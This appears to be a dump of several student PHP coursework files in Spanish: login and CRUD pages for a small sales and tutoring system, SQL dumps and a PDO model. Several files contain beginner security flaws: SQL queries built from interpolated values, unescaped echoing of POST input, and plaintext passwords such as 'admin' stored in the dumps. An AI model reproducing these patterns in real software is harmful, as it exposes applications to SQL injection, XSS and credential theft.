<td><font color=000000>$<?php echo $fila->preciounitario ?></td> <td><center><a href="./modificar2.php?id=<?php echo $fila->id; ?>" class="button radius tiny" style="background-color: #e09006; font-style: white;">Modificar</a> <a href="./eliminar2.php?id=<?php echo $fila->id; ?>" class="button radius tiny alert" onClick=mensaje();>Eliminar</a></center></td> </tr> <?php endforeach ?> </tr> </tbody> </table> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje de confirmacion antes de una baja function mensaje() { var mensaje = confirm("¿Esta seguro de eliminar este usuario?"); if(mensaje == false) { event.preventDefault(); } } </script><file_sep>/Practica07/index.php <?php require_once('funciones.php'); if( isset($_COOKIE) &&is_array($_COOKIE) && count($_COOKIE)>0 && isset($_COOKIE['username']) && $_COOKIE['username']!=null ){ session_start(); //$_SESSION['username']=$_COOKIE['username']; } if(isset($_GET['action']) && $_GET['action']=='logout'){ //session_destroy(); unset($_SESSION['username']); } if (isset($_POST['formu'])){ //Imprime el array con los datos de acceso, una vez logueado if( isset($_POST['formu']['nombre']) &&isset($_POST['formu']['pass']) &&buscarUsuario($_POST['formu']['nombre'],$_POST['formu']['pass']) ){ //session_start(); $_SESSION['username']=$_POST['formu']['nombre']; setcookie("username", $_POST['formu']['nombre']); } }?> <html> <head> <title>Practica 7</title> </head> <body> <?php if( isset($_SESSION) &&is_array($_SESSION) && count($_SESSION)>0 ){ ?> <?php } if(isset($_SESSION['username'])){ //estoy logueado include_once('header.php'); echo "<div align='center'>"; echo "<h3>Bienvenido</h3>"; echo "<h4>".$_SESSION['username']."</h4>"; echo "<div class='row'>"; echo "<div class='large-12 columns'>"; echo "<h4><b><center>Sistema de Ventas</center></b></h4>"; echo "<h4><b>Eliga una opcion:</b></h4>"; echo "<div class='section-container tabs' data-section>"; echo "<section class='section'>"; echo "<div class='content' data-slug='panel1'>"; echo "<div class='row'>"; echo "</div>"; echo "<table style='background-color: #gray'>"; echo "<thead style='background-color: #gray'>"; echo "<tr style='background-color: #gray'>"; echo "<th width='200'>Usuarios</th>"; echo "<th width='200'>Productos</th>"; echo "<th width='200'>Ventas</th>"; echo "</tr>"; echo "</thead>"; echo "<tbody>"; echo "<tr>"; echo "<tr style='background-color: #gray'>"; echo "<td><a href='./usuarios.php' class='button radius tiny' style='background-color: #06515e; width: 300px'>Ir al listado</a></td>>"; echo "<td><a href='./productos.php' class='button radius tiny' style='background-color: #06515e; width: 300px'>Ir al listado</a></td>"; echo "<td><a href='./ventas.php' class='button radius tiny' style='background-color: #06515e; width: 300px'>Ir al listado</a></td>"; echo "</tr>"; echo "</tr>"; echo "</tbody>"; echo "</table>"; echo "</div>"; echo "</section>"; echo "</div>"; echo "</div>"; echo "<a href='?action=logout'>Logout</a>"; include_once('footer.php'); }else{ //estoy deslogueado ?> <?php require_once('header2.php'); ?> <div class="section-container tabs" align="left" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row" align="center"> </div> <div class="large-12 columns"> <FORM ACTION="index.php" name="formu" METHOD="post"> <label for="nombre" style="width: 30%; margin-left: 470px">Usuario</label> <input type="text" name="formu[nombre]" id="nombre" style="width: 30%; margin-left: 470px" value="<?php if(isset($_POST['formu']['nombre'])&&$_POST['formu']['nombre']!=null){ echo $_POST['formu']['nombre']; } ?>"> <br/> <label for="valor" style="width: 30%; margin-left: 470px">Contraseña</label> <input type="text" name="formu[pass]" id="valor" style="width: 30%; margin-left: 470px" value="<?php if(isset($_POST['formu']['pass']) &&$_POST['formu']['pass']!=null){ echo $_POST['formu']['pass']; } ?>"> <br/> <center><input type="submit" name="formu[enviar]" value="Iniciar Sesion" class="button radius tiny"/></center> </FORM> </div> </div> </section> </div> </div> <?php require_once('footer.php'); ?> <?php } ?> <!-- <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 7</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <div class="row"> <div class="large-12 columns"> <h4><b><center>Sistema de Ventas</center></b></h4> <h4><b>Eliga una opcion:</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table style="background-color: gray"> <thead style="background-color: #gray"> <tr style="background-color: #gray"> <th width="200">Usuarios</th> <th width="200">Productos</th> <th width="200">Ventas</th> </tr> </thead> <tbody> <tr> <tr style="background-color: #gray"> <td><a href="./usuarios.php" class="button radius tiny" style="background-color: #06515e; width: 300px">Ir al listado</a></td> <td><a href="./productos.php" class="button radius tiny" style="background-color: #06515e; width: 300px">Ir al listado</a></td> <td><a href="./ventas.php" class="button radius tiny" style="background-color: #06515e; width: 300px">Ir al listado</a></td> </tr> </tr> </tbody> </table> </div> </section> </div> </div> </div>--> <file_sep>/Practica082/views/modules/registrarmaestros.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <h1>REGISTRO DE ALUMNOS</h1> <hr> <input type="button" value="Listado Alumnos" onclick="window.location= 'index.php?action=alumnos' "> <br> <strong><p>Información General</p></strong> <form method="post"> <input type="text" placeholder="No. Empleado" name="nempleado" required> <input type="text" placeholder="Nombre" name="nombre" required> <input type="text" placeholder="Carrera" name="carrera" required> <input type="text" placeholder="Email" name="email" required> <input type="text" placeholder="Contraseña" name="password" required> <input type="submit" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcControllerMaestros(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroMaestroController(); if(isset($_GET["action"])){ if($_GET["action"] == "MaestroRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Calificar/1/Practica6/database_utilities.php <?php //Se requerira el archivo database_credentials.php para tener las credenciales de la base de datos require_once('database_credentials.php'); //Se crea la conexion de base de datos usando PDO try { $PDO = new PDO( $dsn, $user, $password); } catch(PDOException $e) { echo 'Error al conectarnos: ' . $e->getMessage(); } //Funcion delete que borrara un usuario en base a su id function delete($type,$id) { global $PDO; //El parametro type nos permite saber que tipo de deportista es y asi saber de que tabla buscaremos y borraremos //ese deportista if($type==1) { $table = "futbolistas"; } else if($type==2) { $table = "basquetbolistas"; } $sql = "DELETE FROM $table WHERE id='$id'"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); } //Funcion que busca la informacion de un usuario en base a su id, esto se hace para la parte traer los datos de cada //deportista cuando queramos actualizar su informacion function search_per_id($type,$id) { global $PDO; //El parametro type nos permite saber que tipo de deportista es y asi saber de que tabla buscaremos //ese deportista if($type==1) { $table = "futbolistas"; } else if($type ==2) { $table = "basquetbolistas"; } $sql = "SELECT * FROM $table where id='$id'"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]; } //Funcion que actualiza los datos del usuario segun se hayan captado en el formulario function update($type,$id,$idBf,$nombre,$posicion,$carrera,$email) { global $PDO; //El parametro type nos permite saber que tipo de deportista es y asi saber de que tabla buscaremos y actualizaremos //ese deportista if($type==1) { $table="futbolistas"; } else if($type==2) { $table="basquetbolistas"; } //Buscaremos el id que registro el usuario en el formulario, para saber si existe. $sql = "SELECT * FROM $table where id = '$id'"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); //Si este es el caso, entonces regresaremos un valor booleano en falso para evitar que se haga la actualizacion //Tambien esta previsto de que el usuario no cambio el id y siendo esto, entonces si habra un id existente en la tabla //Por lo que condicionamos si el id que ya tenia el deportista es igual al que el usuario actualizo. //Asi que tenemos dos tipos de id's: El que quiere registrar el usuario '$id' y el anterior $idBf //Todo esto lo tenemos porque al momento de actualizar sin cambiar el id, entonces hara la busqueda con el id sin cambiar //Entonces si hace la consulta anterior el resultado sera un registro, lo que querra decir que el id si existe //y entonces no hara la actualizacion lo que es erroneo. Se condiciona si son los mismos id, si este es el caso //Entonces se procede a hacer la actualizacion aunque la consulta anterior haya traido algun resultado if($statement->rowCount() > 0 && $id != $idBf){ //Si la consulta anterior trajo algun resultado, y los dos id's son diferentes entonces se regresara un falso return false; } else { //Si no se repite el id, entonces procedemos a hacer la sentencia query $sql = "UPDATE $table SET id = '$id', nombre='$nombre', posicion = '$posicion', carrera = '$carrera', email = '$email' where id='$idBf'"; echo $sql; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); //Regresamos verdadero para que se proceda a hacer todo el proceso return true; } } //Funcion que hace query de todos los conteos en la primera tabla del archivo count_view.php, aqui solo se //manda llamar los distintos metodos que hacen las consultas query. function run_query() { $arr['total_users'] = queryTotalUsers(); $arr['total_user_types'] = queryTotalUserTypes(); $arr['total_status_types'] = queryTotalStatusTypes(); $arr['total_user_logs'] = queryTotalLogs(); $arr['total_user_active'] = queryActiveUsers(); $arr['total_user_inactive'] = queryInactiveUsers(); //Se regresa el array asociativo con todos los resultados return $arr; } //Funcion que cuenta todos los usuarios para mostrarlos en la primera tabla en count_view.php function queryTotalUsers() { global $PDO; $sql = "SELECT COUNT(*) AS total_users FROM USER"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_users']; } //Funcion que cuenta todos los tipos de usuarios para mostrarlos en la primera tabla en count_view.php function queryTotalUserTypes() { global $PDO; $sql = "SELECT count(*) as total_user_types FROM user_type"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_user_types']; } //Funcion que cuenta todos los tipos de estado para mostrarlos en la primera tabla en count_view.php function queryTotalStatusTypes() { global $PDO; $sql = "SELECT count(*) as total_status_types FROM status"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_status_types']; } //Funcion que cuenta todos los logs para mostrarlos en la primera tabla en count_view.php function queryTotalLogs() { global $PDO; $sql = "SELECT count(*) as total_user_logs FROM user_log"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_user_logs']; } //Funcion que cuenta todos los usuarios ACTIVOS para mostrarlos en la primera tabla en count_view.php function queryActiveUsers() { global $PDO; $sql = "SELECT count(*) as total_users_active from user where status_id = 1"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_users_active']; } //Funcion que cuenta todos los usuarios INACTIVOS para mostrarlos en la primera tabla en el archivo count_view.php function queryinActiveUsers() { global $PDO; $sql = "SELECT count(*) as total_users_inactive from user where status_id = 2"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results[0]['total_users_inactive']; } //Funcion que crea la vista de la tabla 'users' para mostrarlos en count_view.php function queryUsersTable() { global $PDO; $sql = "SELECT * from user"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Funcion que crea la vista de la tabla 'user_logs' para mostrarlos en count_view.php function queryUserLogTable() { global $PDO; $sql = "SELECT * from user_log"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Funcion que hace la vista de de user_types para mostrarlos en count_view.php function queryUserTypeTable() { global $PDO; $sql = "SELECT * from user_type"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Funcion que hace la vista de la tabla 'status' para mostrarlo en count_vierw.php function queryStatusTable() { global $PDO; $sql = "SELECT * from status"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Esta funcion nos permite traer todos los futbolistas que tengamos en nuestra base de datos y mostrarlos en //sports_view.php function querySoccerPlayers() { global $PDO; $sql = "SELECT * from futbolistas"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Esta funcion nos permite traer todos los basquetbolistas que tengamos en nuestra base de datos y mostrarlos en //sports_view.php function queryBasketballPlayers() { global $PDO; $sql = "SELECT * from basquetbolistas"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } //Funcion donde se inserta un nuevo deportista function add($type,$id,$nombre,$posicion,$carrera,$email) { //El parametro type nos permite saber que tipo de deportista es y asi saber de que tabla buscaremos y actualizaremos //ese deportista global $PDO; if($type==1) { $table="futbolistas"; } else if($type==2) { $table="basquetbolistas"; } //Esta consulta nos permite saber si ya esta el id que ingreso el usuario registrado en nuestra base de datos $sql = "SELECT * FROM $table where id = '$id'"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); //Si la consulta trajo algun resultado, entonces si esta el id registrado y entonces se regresa un falso //Para evitar que se haga la insercion if($statement->rowCount() > 0){ return false; } else { //De lo contrario se hace la insercion $sql = "INSERT INTO $table (id,nombre,posicion,carrera,email) VALUES ('$id','$nombre','$posicion','$carrera','$email')"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); return true; } } ?><file_sep>/Practica2.php <!DOCTYPE html> <html> <head> <title>Practica 2</title> </head> <body> <?php echo "<strong>Ejercicio 1</strong>"; echo ("<br>"); $array = array(7,5,13,6,2,1,3,16,8,4); print_r($array); echo ("<br>"); echo "Array en Ascendente"; sort($array); echo ("<br>"); print_r($array); echo ("<br>"); echo "Array en Descendente"; rsort($array); echo ("<br>"); print_r($array); echo ("<br><br>"); echo "<strong>Ejercicio 2</strong>"; echo ("<br>"); function ftn_name($name,$ciudad){ echo "Soy <strong>$name</strong> y naci en $ciudad"; } ftn_name("<NAME>","Ciudad Victoria"); echo ("<br><br>"); echo "<strong>Ejercicio 3</strong>"; echo "<br>"; $array2 = array(4,2,15,6,3,1,7,11,8,9); echo "Array: "; for ($id=0; $id < 10; $id++) { echo ($array2[$id]); if ($id==9) echo "."; else echo ","; } ?> </body> </html> <file_sep>/PNF/Practica12 - copia/curso_php3.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 30-05-2018 a las 18:06:23 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `curso_php3` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos` -- CREATE TABLE `productos` ( `id_producto` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `descripcion` varchar(50) NOT NULL, `cantidad` int(11) NOT NULL, `preciounitario` float NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos` -- INSERT INTO `productos` (`id_producto`, `nombre`, `descripcion`, `cantidad`, `preciounitario`) VALUES (1, 'Coca Cola 600ml', 'Refresco de Cola por Coca Cola Company', 10, 12), (3, 'Galletas Gamesa', 'Sabor Chocolate', 10, 15); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id_usuario` int(11) NOT NULL, `nombre` varchar(30) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id_usuario`, `nombre`, `username`, `password`) VALUES (1, 'Admin', '<PASSWORD>', '<PASSWORD>'), (3, 'Sergio', 'user', '<PASSWORD>'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `productos` -- ALTER TABLE `productos` ADD PRIMARY KEY (`id_producto`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id_usuario`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `productos` -- ALTER TABLE `productos` MODIFY `id_producto` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id_usuario` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Practica08/views/modules/reportes.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Datatables de las tablas de la db --> <h4>REPORTES</h4> <hr> <br> <strong><h4>Alumnos</h4></strong> <br> <!-- Datatables de alumnos --> <table border="1" name="example" id="example" class="display"> <thead> <tr> <th>Matricula</th> <th>Nombre</th> <th>Carrera</th> <th>Tutor</th> </tr> </thead> <tbody> <?php $vistaAlumno= new MvcController(); $vistaAlumno -> vistaReportesAlumnosController(); ?> </tbody> </table> <br> <hr><br> <strong><h4>Maestros</h4></strong> <br> <!-- Datatables de maestros --> <table border="1" name="example2" id="example2" class="display"> <thead> <tr> <th>No. Empleado</th> <th>Nombre</th> <th>Carrera</th> <th>Email</th> <th>Passowrd</th> </tr> </thead> <tbody> <?php $vistaMaestro = new MvcControllerMaestros(); $vistaMaestro -> vistaReportesMaestrosController(); ?> </tbody> </table> <br> <hr><br> <strong><h4>Carreras</h4></strong> <br> <!-- Datatables de Carreras --> <table border="1" name="example3" id="example3" class="display"> <thead> <tr> <th>ID</th> <th>Nombre</th> </tr> </thead> <tbody> <?php $vistaCarrera = new MvcControllerCarreras(); $vistaCarrera -> vistaReportesCarreraController(); ?> </tbody> </table> <br> <hr><br> <strong><h4>Tutorias</h4></strong> <br> <!-- Datatables de Tutorias --> <table border="1" name="example4" id="example4" class="display"> <thead> <tr> <th>Matricula</th> <th>Tutor</th> <th>Fecha</th> <th>Hora</th> <th>Tipo</th> <th>Tema</th> </tr> </thead> <tbody> <?php $vistaTutorias = new MvcControllerTutorias(); $vistaTutorias -> vistaReportesTutoriasController(); ?> </tbody> </table> <?php ?> <file_sep>/04_final/guardar.php <?php //Guardado de datos en un archivo txt $matricula = $_POST["matricula"]; $nombre = $_POST["nombre"]; $carrera = $_POST["carrera"]; $email = $_POST["email"]; $telefono = $_POST["telefono"]; $filename = "alumnos"; $contenido = "$matricula,$nombre,$carrera,$email,$telefono".PHP_EOL; $archivo=fopen("./$filename.txt", "a"); fwrite($archivo, $contenido); ?> <!DOCTYPE html> <html> <head> <title></title> </head> <body> <p>Alumno Guardado</p> </body> </html><file_sep>/PNF/Practica12-2 - Version sin alerts/sistema2.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 06-06-2018 a las 17:38:56 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `sistema2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `categorias` -- CREATE TABLE `categorias` ( `id_categoria` int(11) NOT NULL, `nombre` varchar(255) NOT NULL, `descripcion` varchar(255) NOT NULL, `fecha` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `categorias` -- INSERT INTO `categorias` (`id_categoria`, `nombre`, `descripcion`, `fecha`) VALUES (1, 'Botanas', 'Deliciosas frituras para fiestas', '2018-06-05'), (2, 'Bebidas', 'Refrescantes liquidos', '2018-06-05'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `historial` -- CREATE TABLE `historial` ( `id_historial` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `user_id` int(11) NOT NULL, `fecha` date NOT NULL, `nota` varchar(255) NOT NULL, `referencia` varchar(100) NOT NULL, `cantidad` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `historial` -- INSERT INTO `historial` (`id_historial`, `id_producto`, `user_id`, `fecha`, `nota`, `referencia`, `cantidad`) VALUES (1, 2, 1, '2018-06-05', 'Se agregaron 2', '<NAME>', 2), (2, 2, 2, '2018-06-06', 'Se agregaron 2', '<NAME>', 2), (4, 2, 1, '2018-06-05', 'Se retiraron 4 unidades', '<NAME>', 4), (5, 3, 1, '2018-06-05', 'Se retiraron 10 unidades', '<NAME>', 10), (6, 3, 3, '2018-06-06', 'Se retiraron 4 unidades', '<NAME> 23', 4), (7, 3, 2, '2018-06-06', 'Se retiraron 6 unidades', '<NAME>', 6), (8, 3, 1, '2018-06-06', 'Se agregaron 20', '<NAME>', 20); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos` -- CREATE TABLE `productos` ( `id_producto` int(11) NOT NULL, `codigo_producto` varchar(20) NOT NULL, `nombre` varchar(255) NOT NULL, `fecha` date NOT NULL, `preciounitario` double NOT NULL, `stock` int(11) NOT NULL, `id_categoria` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos` -- INSERT INTO `productos` (`id_producto`, `codigo_producto`, `nombre`, `fecha`, `preciounitario`, `stock`, `id_categoria`) VALUES (1, 'GAM01', 'Galletas Vainilla', '2018-06-04', 12, 22, 1), (2, 'GAM02', 'Galletas Chocolate', '2018-06-04', 11, 18, 2), (3, 'GAM03', 'Galletas Fresa', '2018-06-05', 12, 20, 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id_usuario` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `apellido` varchar(20) NOT NULL, `username` varchar(64) NOT NULL, `password` varchar(255) NOT NULL, `email` varchar(64) NOT NULL, `fecha` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id_usuario`, `nombre`, `apellido`, `username`, `password`, `email`, `fecha`) VALUES (1, 'Sergio', 'Perez', 'admin', 'admin', '<EMAIL>', '2018-05-10'), (2, 'Sergio23', 'Perez', 'user', 'user', '<EMAIL>', '2018-06-05'), (3, 'Luis', 'Perez', '1530073', 'sergio', '<EMAIL>', '2018-06-03'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `categorias` -- ALTER TABLE `categorias` ADD PRIMARY KEY (`id_categoria`); -- -- Indices de la tabla `historial` -- ALTER TABLE `historial` ADD PRIMARY KEY (`id_historial`), ADD KEY `id_producto` (`id_producto`), ADD KEY `user_id` (`user_id`); -- -- Indices de la tabla `productos` -- ALTER TABLE `productos` ADD PRIMARY KEY (`id_producto`), ADD KEY `id_categoria` (`id_categoria`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id_usuario`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `categorias` -- ALTER TABLE `categorias` MODIFY `id_categoria` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT de la tabla `historial` -- ALTER TABLE `historial` MODIFY `id_historial` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; -- -- AUTO_INCREMENT de la tabla `productos` -- ALTER TABLE `productos` MODIFY `id_producto` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id_usuario` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `historial` -- ALTER TABLE `historial` ADD CONSTRAINT `historial_ibfk_1` FOREIGN KEY (`id_producto`) REFERENCES `productos` (`id_producto`), ADD CONSTRAINT `historial_ibfk_2` FOREIGN KEY (`user_id`) REFERENCES `usuarios` (`id_usuario`); -- -- Filtros para la tabla `productos` -- ALTER TABLE `productos` ADD CONSTRAINT `productos_ibfk_1` FOREIGN KEY (`id_categoria`) REFERENCES `categorias` (`id_categoria`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/PNF/Practica12 - NOFunc/models/crud.php <?php #EXTENSIÓN DE CLASES: Los objetos pueden ser extendidos, y pueden heredar propiedades y métodos. Para definir una clase como extensión, debo definir una clase padre, y se utiliza dentro de una clase hija. require_once "conexion.php"; //heredar la clase conexion de conexion.php para poder utilizar "Conexion" del archivo conexion.php. // Se extiende cuando se requiere manipuar una funcion, en este caso se va a manipular la función "conectar" del models/conexion.php: class Datos extends Conexion{ #REGISTRO DE USUARIOS #------------------------------------- public function registroUsuarioModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre, apellido, username, password, email, fecha) VALUES (:nombre,:apellido,:username,:password,:email,:fecha)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":apellido", $datosModel["apellido"], PDO::PARAM_STR); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->bindParam(":password", $datosModel["password"], PDO::PARAM_STR); $stmt->bindParam(":email", $datosModel["email"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fecha"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #REGISTRO DE HISTORIAL #------------------------------------ public function registroHistorialModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (id_producto, user_id, fecha, nota, referencia, cantidad) VALUES (:id_producto,:id_usuario,:fecha,:nota,:referencia,:cantidad)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":id_producto", $datosModel["id_producto"], PDO::PARAM_STR); $stmt->bindParam(":id_usuario", $datosModel["id_usuario"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fechaMov"], PDO::PARAM_STR); $stmt->bindParam(":nota", $datosModel["nota"], PDO::PARAM_STR); $stmt->bindParam(":referencia", $datosModel["referencia"], PDO::PARAM_STR); $stmt->bindParam(":cantidad", $datosModel["cantidad"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #REGISTRO DE PRODUCTOS #------------------------------------- public function registroProductoModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (codigo_producto, nombre, fecha, preciounitario, stock, id_categoria) VALUES (:codigoproducto,:nombre,:fecha,:preciounitario,:stock,:idcategoria)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":codigoproducto", $datosModel["codigo_producto"], PDO::PARAM_STR); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fecha"], PDO::PARAM_STR); $stmt->bindParam(":preciounitario", $datosModel["preciounitario"], PDO::PARAM_STR); $stmt->bindParam(":stock", $datosModel["stock"], PDO::PARAM_STR); $stmt->bindParam(":idcategoria", $datosModel["id_categoria"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #REGISTRO DE CATEGORIA #------------------------------------ public function registroCategoriaModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre, descripcion, fecha) 